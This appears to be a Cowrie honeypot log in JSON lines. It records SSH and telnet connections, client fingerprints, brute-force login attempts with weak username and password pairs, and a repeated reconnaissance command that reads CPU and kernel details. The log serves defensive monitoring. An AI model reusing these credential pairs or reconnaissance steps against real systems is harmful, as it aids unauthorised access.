{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:14.441993Z","src_ip":"159.203.92.129","session":"010277b88a44","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:14.445931Z","src_ip":"159.203.92.129","session":"010277b88a44","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:14.450268Z","src_ip":"159.203.92.129","session":"010277b88a44","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:14.463439Z","src_ip":"159.203.92.129","session":"010277b88a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:14.469863Z","src_ip":"159.203.92.129","session":"010277b88a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36392,"dst_ip":"159.203.135.109","dst_port":22,"session":"482910986cd2","protocol":"ssh","message":"New connection: 159.203.92.129:36392 (159.203.135.109:22) [session: 482910986cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:59.543320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:59.547715Z","src_ip":"159.203.92.129","session":"482910986cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:59.552029Z","src_ip":"159.203.92.129","session":"482910986cd2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin","message":"login attempt [admin/adminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:59.562767Z","src_ip":"159.203.92.129","session":"482910986cd2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:59.611902Z","src_ip":"159.203.92.129","session":"482910986cd2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:59.614288Z","src_ip":"159.203.92.129","session":"482910986cd2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:59.617074Z","src_ip":"159.203.92.129","session":"482910986cd2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:59.626821Z","src_ip":"159.203.92.129","session":"482910986cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:59.631951Z","src_ip":"159.203.92.129","session":"482910986cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":57068,"dst_ip":"10.17.0.5","dst_port":22,"session":"6edf147e8a1b","protocol":"ssh","message":"New connection: 74.91.200.154:57068 (10.17.0.5:22) [session: 6edf147e8a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:11.965832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:11.970842Z","src_ip":"74.91.200.154","session":"6edf147e8a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:12.183703Z","src_ip":"74.91.200.154","session":"6edf147e8a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"games","password":"guest888","message":"login attempt [games/guest888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:13.089767Z","src_ip":"74.91.200.154","session":"6edf147e8a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:14.315008Z","src_ip":"74.91.200.154","session":"6edf147e8a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00523567199707,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:33.505545Z","src_ip":"118.68.22.252","session":"6ecad10e1664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.68.22.252","src_port":26644,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc16fa820c72","protocol":"telnet","message":"New connection: 118.68.22.252:26644 (159.203.135.109:23) [session: dc16fa820c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:35.078025Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55238,"dst_ip":"159.203.135.109","dst_port":22,"session":"640daa4a8495","protocol":"ssh","message":"New connection: 159.203.92.129:55238 (159.203.135.109:22) [session: 640daa4a8495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:44.920290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:45.070071Z","src_ip":"159.203.92.129","session":"640daa4a8495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:45.075627Z","src_ip":"159.203.92.129","session":"640daa4a8495","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin123","message":"login attempt [admin/adminadmin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:45.089932Z","src_ip":"159.203.92.129","session":"640daa4a8495","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:45.125801Z","src_ip":"159.203.92.129","session":"640daa4a8495","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:45.129215Z","src_ip":"159.203.92.129","session":"640daa4a8495","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:45.133426Z","src_ip":"159.203.92.129","session":"640daa4a8495","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:45.142264Z","src_ip":"159.203.92.129","session":"640daa4a8495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:30:45.148483Z","src_ip":"159.203.92.129","session":"640daa4a8495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":60336,"dst_ip":"159.203.135.109","dst_port":23,"session":"19cceaf1867f","protocol":"telnet","message":"New connection: 5.42.229.203:60336 (159.203.135.109:23) [session: 19cceaf1867f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:12.818532Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":41216,"dst_ip":"10.17.0.5","dst_port":22,"session":"35bd8799ff61","protocol":"ssh","message":"New connection: 74.91.200.154:41216 (10.17.0.5:22) [session: 35bd8799ff61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:22.899494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:22.904863Z","src_ip":"74.91.200.154","session":"35bd8799ff61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:23.121644Z","src_ip":"74.91.200.154","session":"35bd8799ff61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.62786030769348,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:23.705781Z","src_ip":"118.68.22.252","session":"dc16fa820c72","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pulamea123","message":"login attempt [ubuntu/pulamea123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:24.013049Z","src_ip":"74.91.200.154","session":"35bd8799ff61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:25.226568Z","src_ip":"74.91.200.154","session":"35bd8799ff61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60516,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dd549b22164","protocol":"ssh","message":"New connection: 159.203.92.129:60516 (159.203.135.109:22) [session: 6dd549b22164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:28.002308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:28.006833Z","src_ip":"159.203.92.129","session":"6dd549b22164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:28.015055Z","src_ip":"159.203.92.129","session":"6dd549b22164","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin@123","message":"login attempt [admin/adminadmin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:28.027094Z","src_ip":"159.203.92.129","session":"6dd549b22164","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:28.070571Z","src_ip":"159.203.92.129","session":"6dd549b22164","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:28.074487Z","src_ip":"159.203.92.129","session":"6dd549b22164","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:28.078872Z","src_ip":"159.203.92.129","session":"6dd549b22164","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:28.091556Z","src_ip":"159.203.92.129","session":"6dd549b22164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:28.099081Z","src_ip":"159.203.92.129","session":"6dd549b22164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.15852975845337,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:31:48.976941Z","src_ip":"5.42.229.203","session":"19cceaf1867f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":47410,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f7c9c77727e","protocol":"telnet","message":"New connection: 46.4.133.15:47410 (10.17.0.5:23) [session: 6f7c9c77727e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:01.168400Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":51120,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb2f93f8ea9","protocol":"telnet","message":"New connection: 46.4.133.15:51120 (10.17.0.5:23) [session: ceb2f93f8ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:02.123007Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":51116,"dst_ip":"10.17.0.5","dst_port":23,"session":"48268c913b11","protocol":"telnet","message":"New connection: 46.4.133.15:51116 (10.17.0.5:23) [session: 48268c913b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:02.127520Z"}
